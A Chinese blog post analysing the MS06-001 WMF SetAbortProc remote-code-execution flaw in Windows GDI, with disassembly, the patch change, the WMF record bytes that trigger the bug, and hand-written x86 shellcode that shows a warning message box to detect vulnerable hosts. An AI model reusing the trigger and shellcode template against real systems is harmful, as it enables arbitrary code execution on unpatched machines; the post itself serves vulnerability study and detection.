MS06001 图形呈现引擎(WMF)漏洞分析学习手记

Microsoft Windows图形渲染引擎WMF格式解码内存越界漏洞 漏洞名称:Microsoft Windows图形渲染引擎WMF格式解码内存越界漏洞发现者:cocoruder(frankruder_at_hotmail.com) http://ruder.cdut.net类型:设计错误最后更新时间:07/01/2006受威胁的系统:    Microsoft Windows XP SP2    Microsoft Windows XP SP1    Micros 阅读详情
killer<2>xfocus.org


    图形呈现引擎中由于其处理 Windows 图元文件 (WMF) 图像的方式而存在一个远程执行代码漏洞。据FlashSky所言是MS早期在处理OLE而在WMF(没有考虑安全)中定义的功能。漏洞因0day方式传播而导致漏洞被曝光。Win2000、XPsp1、XPsp2代码略有不同,如下代码是XPsp1的。


一、漏洞分析:

    漏洞出现的问题是在PlayMetaFile函数中,函数调用关系如下:
    
    Gdi32.dll!PlayMetaFile
                PlayMetaFileRecord
                   Escape
                     SetAbortProc

    在PlayMetaFileRecord函数中将比较wmf格式中的相关Record结构,如果该标记不为0X49和后续的标记不为0X0f则转向跳到ESCAPE函数上,ESCAPE会允许设置为wmf一个段当作代码,并将这个地址传送给sETaBORTpROC,在sETaBORTpROC函数返回的时候,WMF文件中的代码将会被执行。
    在WMF文件头中增加如下Record可以激活漏洞:11 00 00 00 26 06 09 00 16 00


.TEXT:77c4b65c           PUSH  [EBP+UfLAGS]            ; CASE 0X26
.TEXT:77c4b65f           PUSH  EBX
.TEXT:77c4b660           CALL  _pLAYiNTOamETAFILE@8    ; pLAYiNTOamETAFILE(X,X)
.TEXT:77c4b665           CMP   EAX, EDI
.TEXT:77c4b667           MOV   [EBP+VAR_4], EAX
.TEXT:77c4b66a           JNZ   LOC_77c4b424
.TEXT:77c4b670           MOV   AX, [EBX+6]        ;AX=09=sETaBORTpROC
.TEXT:77c4b674           CMP   AX, 0fH
.TEXT:77c4b678           JNZ   LOC_77c5fc0a
...
.TEXT:77c61062           SUB   EDI, 6            ;将9进行减去三次,如果在减6为0
.TEXT:77c61065           JZ    SHORT LOC_77c61090    ;则跳到sETaBORTpROC函数
...
.TEXT:77c61090           PUSH  [EBP+ARG_c]             ; abortproc
.TEXT:77c61093           PUSH  [EBP+ARG_0]             ; hdc
.TEXT:77c61096           CALL  _sETaBORTpROC@8         ; sETaBORTpROC函数将返回1
...
.TEXT:77c604c8           MOV   EAX, [EAX+14H]        ;代码地址传入eax
.TEXT:77c604cb           CMP   EAX, ECX            ;如果该地址为空跳走
.TEXT:77c604cd           JZ    LOC_77c4b286
.TEXT:77c604d3           PUSH  ECX
.TEXT:77c604d4           PUSH  EDI
.TEXT:77c604d5           CALL  EAX            ;执行wmf文件中的代码!
.TEXT:77c604d7           TEST  EAX, EAX
.TEXT:77c604d9           JZ    LOC_77c5c87b
.TEXT:77c604df           JMP   LOC_77c4b286



补丁改动:

    MS修补这个漏洞采用直接比较是否为0x09,如果是则不走入Escape函数,直接返回。

7F032200    837C24 04 09          CMP DWORD PTR SS:[ESP+4],9   ;直接比较标记是否为09
7F032205    74 08                 JE SHORT GDI32.7F03220F
7F032207    837C24 04 0F          CMP DWORD PTR SS:[ESP+4],0F
7F03220C    74 01                 JE SHORT GDI32.7F03220F
7F03220E    40                    INC EAX
7F03220F    C2 0400               RETN 4



二、检测Shellcode:

    为检测主机是否存在漏洞,构造了一个WMF文件,发现现有的ShellCode无不是为了入侵(add user&downexec),流传的那个0day会崩掉Explorer.exe,于是自己写了一个简易弹出提醒对话框的Shellcode,代码如下:

    __asm
    {
        pushad
        sub esp, 100;
        mov ebp,esp;
        mov eax,fs:0x30    
        mov eax,[eax+0x0c]
        mov esi,[eax+0x1c]
        lodsd                
        mov edi,[eax+0x08]
        mov eax, [edi+3Ch]
        mov edx,[edi+eax+78h]
        add edx,edi                
        mov ecx,[edx+18h]
            mov ebx,[edx+20h]                
        add ebx,edi                                
sa:
        dec ecx
        mov esi,[ebx+ecx*4]                
        add esi,edi    
        mov eax,0x50746547
        cmp [esi],    eax
        jne sa
        mov eax,0x41636f72
        cmp [esi+4],eax
        jne sa                
            mov ebx,[edx+24h]
        add ebx,edi
        mov cx,[ebx+ecx*2]
            mov ebx,[edx+1Ch]
        add ebx,edi
        mov eax,[ebx+ecx*4]            
        add eax,edi            
        mov [ebp+76], eax            
        push 0x0
        push dword ptr 0x41797261
        push dword ptr 0x7262694c
        push dword ptr 0x64616f4c
        push esp
        push edi                    
        call [ebp+76]
        mov [ebp+80],  eax
        push dword ptr 0x00003233
        push dword ptr 0x72657375
        push esp
        call [ebp+80]    ;LoadLibraryA
        mov edi,eax
        push dword ptr 0x0041786F
        push dword ptr 0x42656761
        push dword ptr 0x7373654D
        push esp
        push edi                    
        call [ebp+76]
        mov [ebp+84],  eax
        mov byte PTR [ebp-41h],00h
        mov byte PTR [ebp-40h],00h
        lea esi,[ebp-41h]
        mov byte PTR [ebp-19h],46h
        mov byte PTR [ebp-18h],6fh
        mov byte PTR [ebp-17h],75h
        mov byte PTR [ebp-16h],6eh
        mov byte PTR [ebp-15h],64h
        mov byte PTR [ebp-14h],20h
        mov byte PTR [ebp-13h],57h
        mov byte PTR [ebp-12h],4dh
        mov byte PTR [ebp-11h],46h
        mov byte PTR [ebp-10h],20h
        mov byte PTR [ebp-0fh],76h
        mov byte PTR [ebp-0eh],75h
        mov byte PTR [ebp-0dh],6ch
        mov byte PTR [ebp-0ch],6eh
        mov byte PTR [ebp-0bh],75h
        mov byte PTR [ebp-0ah],72h
        mov byte PTR [ebp-09h],61h
        mov byte PTR [ebp-08h],62h
        mov byte PTR [ebp-07h],69h
        mov byte PTR [ebp-06h],6ch
        mov byte PTR [ebp-05h],69h
        mov byte PTR [ebp-04h],74h
        mov byte PTR [ebp-03h],79h
        mov byte PTR [ebp-02h],21h
        mov byte PTR [ebp-01h],00h
        lea edi,[ebp-19h]
        push 0x30
        push esi
        push edi
        push 0
        call [ebp+84]
        add esp,136
        popad
        retn
    }

    利用这个Shellcode构造了一个测试的wmf文件(320字节),有漏洞主机预览此附件会弹出发现风险的提示窗口。



感谢: Sowhat、FlashSky、tombkeeper,没有你们的指点便没有这篇文章。

2024 年如何成为一名成功的漏洞赏金猎人?成长总结以及相关资料推荐 阅读详情

相关推荐

flashsky我的安全之路

著名计算机安全专家flashsky讲述自己的奋斗经历。

在网络安全领域,比较牛的中国黑客有哪些?

在网络安全领域,比较牛的中国黑客有哪些?

分享Python知识 2104

wmf格式开发资料最新Windows Metafile Format- v20170601

wmf格式开发资料最新Windows Metafile Format,This is a specification of the Windows metafile format (WMF) structure, which can store an image in portable form. The stored image can be rendered by parsing and processing the metafile.

Microsoft Windows远程桌面协议中间人攻击漏洞(CVE-2005-1794)解决方案

Microsoft Windows远程桌面协议中间人攻击漏洞(CVE-2005-1794)解决方案1.系统版本:windows server 2003 2.漏洞:CVE-2005-1794 3.修复方案: 漏洞介绍: Microsoft Windows远程桌面协议用于连接Windows终端服务。 Windows远程桌面协议客户端没有验证会话的服务器公共密钥,远程攻击者可以利用这个漏洞通过Man

安全小白的博客 4万+

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

SPL气压计芯片手册

英飞凌SPL06-001手册,便于开发市场上价格比BMP280和MS5611都便宜

WMF漏洞是微软故意设置的后门吗?

Subject: Re: You wont want to miss tonights Security Now!, #22 Date: Thu, 12 Jan 2006 18:46:56 -0800

1636

电子-SPL06001datasheetV2.0.pdf

电子-SPL06001datasheetV2.0.pdf,综合电子技术四轴飞行器|飞控

MS08-052 WMF漏洞分析及漏洞测试

 转自:http://hi.baidu.com/antivirusboy/blog/item/d2c1970017687c17728b6589.html 一 背景知识由文件格式入手,来分析MS08-052漏洞, 并构造了一个可以使没有补丁的程序崩溃的图片,1 WMF文件结构--------------------------||         文件头     

939

三大主流交易接口实战指南:XTP、CTP与数字货币API的实盘接入解析

本文深入解析了量化交易系统实现实盘交易的关键环节,聚焦于三大主流交易接口的实战接入。详细介绍了证券领域的XTP、期货领域的CTP以及数字货币交易所API的核心特性、代码封装要点与风控实践,并提供了多市场接口整合的统一架构方案,为开发者打通量化交易的“最后一公里”提供了一份接地气的实战指南。

win55的博客 1379

解放双手!利用海康VM全局脚本+通讯管理打造自动化视觉控制系统

本文深入探讨了如何利用海康VisionMaster(VM)的全局脚本和通讯管理功能,打造高效自动化视觉控制系统。通过全局变量实现数据共享与动态调整,结合多协议通讯管理,提升系统响应速度与智能化水平,适用于工业4.0环境下的复杂视觉检测与决策场景。

weixin_28720573的博客 425

WMF漏洞被疯狂利用 “QQ尾巴”借机传播(转)

金山毒霸反病毒监测中心消息,目前已经有数以千计的木马、广告软件、病毒利用微软操作系统WMF(Windows图元文件)安全漏洞进行传播。金山反病毒专家介绍,病毒作者通常将含有此漏洞的WMF恶意文件注入到将要攻击的网站中,在用户系统...

cuankuangzhong6373的博客 254

从零构建高精度温控系统:ADN8835的单电感拓扑与0.01℃稳定性实战解析

本文深入解析了如何利用ADN8835构建高精度温控系统,重点介绍了其创新的单电感拓扑架构如何实现0.01℃的长期稳定性。内容涵盖精密PCB布局、电源滤波设计,并详细阐述了针对不同热容负载的数字PID控制参数整定策略,为开发精密仪器和医疗设备提供了实战指南。

r2s3t4的博客 240

关于微软WMF 漏洞的 紧急通报 只要你一看图片就会中木马

先说说这个s b漏洞的危害只要你一看图片就会中木马原文发至幻影旅团 http://www.ph4nt0m.org/bbs/showthread.php?s=&postid=65399#post65399cmd下执行 regsvr32.exe /u shimgvw.dll执行以上命令则可禁止wmf执行,regsvr32.exe一般在system32下,没有的话自己去搜envymask刺这个方法只能防

FreeXploiT 2166

STM32F103RCT6的FLASH读写操作

STM32F103RCT6是一款常用的32位微控制器,它具有内置的FLASH存储器,可以用于存储程序代码和数据。在本文中,我们将详细介绍如何进行STM32F103RCT6的FLASH读写操作,并提供相应的源代码。写入数据时,我们通过将数据直接写入FLASH地址来完成。通过使用适当的API和规则,我们可以有效地读取和写入数据。写入FLASH时,我们需要按特定的规则进行编程。首先,我们需要包含适当的头文件和定义相关的宏和变量,以便在代码中使用FLASH API。类型的指针,我们可以直接读取FLASH中的数据。

UplKubernetes的博客 1034

AIGC游戏开发:如何评估生成内容的玩家满意度?

如何量化评估生成内容对玩家体验的影响?本文聚焦AIGC生成的游戏内容(包括但不限于剧情、关卡、NPC对话、道具),系统探讨玩家满意度的评估方法论,覆盖主观与客观评估、静态与动态内容、短期与长期体验等场景。核心概念:定义AIGC与玩家满意度的关联维度;评估方法:主观(问卷/访谈)与客观(行为/生理数据)评估的技术细节;数学模型:构建多指标融合的评估模型;实战案例:以AIGC生成关卡为例,演示从数据采集到模型落地的全流程;工具资源:推荐数据采集、分析与建模的工具链;

AI天才研究院 1225

中国传奇黑客一览表

1994年前后,国内出现了最早一批黑客,其中以龚蔚、天山等顶级黑客为代表;2000年左右,第二代黑客出现,他们的技术特点与前辈相仿,深入研究网络安全技术,有自己的理论和产品;而后第三代黑客的代表是“中国红客联盟”,他们在中美黑客大战中频频见诸媒体。时至今日,三代成名的黑客众多,不胜枚举。接下来就盘点一下非科班出身的黑客大佬!这几个大佬不是科班出身,所学专业和计算机一点也不搭边,但是却成为了业内知名的黑客大佬!Flashsky:方兴。

QIANDXX的博客 887

clock min pulse width检查

高电平脉宽 = clock fall edge到达FF/CK的时间 - clock rise edge到达FF/CK的时间;低电平脉宽 = 下一T clock rise edge到达FF/CK的时间 - clock fall edge到达FF/CK的时间。而required pulse width是根据FF/CK处的transition,根据查找表计算得到的。为什么clock transition越大,会导致required pulse width越大呢?5、 降低clock上的串扰。

芯冰乐 579

SPL06001

SDA2(数据)和SCL2(时钟)引脚通过R61、R63上拉至DVM,确保I2C总线电平稳定,满足通信时序要求。模块上电后,通过稳定的电源供电,借助I2C的SCL2和SDA2与主控通信。主控设备通过0x77地址访问模块,读取气压、温度等传感器数据,完成数据交互。滤波:电容C49、C50并联在电源与地之间,清除高频噪声,确保供电稳定。ADDR引脚接10K电阻到DVM,默认拉高,所以器件地址0x77。CSB在I2C模式不用,这里没拉低,所以用I2C通信。电容C49、C50滤波,稳定电源。VDD接DVM,供电。

Moon_lyy的博客 430

RK3588 部署 YOLO26 目标检测:PT → ONNX → RKNN 全流程

YOLO26n 在 RK3588 上 INT8 量化后 NPU 推理约 15ms,系统 FPS 约 55,可以覆盖边缘端实时检测需求。模型从 PT 到 RKNN 的转换要用opset=11避免算子兼容问题。先用 YOLO26n + 640 输入跑通全链路,确认推理结果正确后再做性能调优。

m0_64661770的博客 306

【车载以太网测试从入门到精通】系列文章目录汇总

物理层测试、数据链路层测试、以太网交换机测试、网络层测试、传输层测试、以太网TCP/IP协议自动化测试、以太网网络管理测试、以太网网络管理自动化测试、鲁棒性测试、SOME/IP测试、SOMEI/IP服务接口自动化测试、DoIP诊断测试、DoIP诊断自动化测试、DoIP BootLoader刷写、以太网网关路由测试、以太网网关路由自动化测试、AVB测试。

测试领域技术分享 3163
上一篇: WinXP SP2对病毒和加密技术的影响研究
下一篇: Invisibility on NT boxes
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值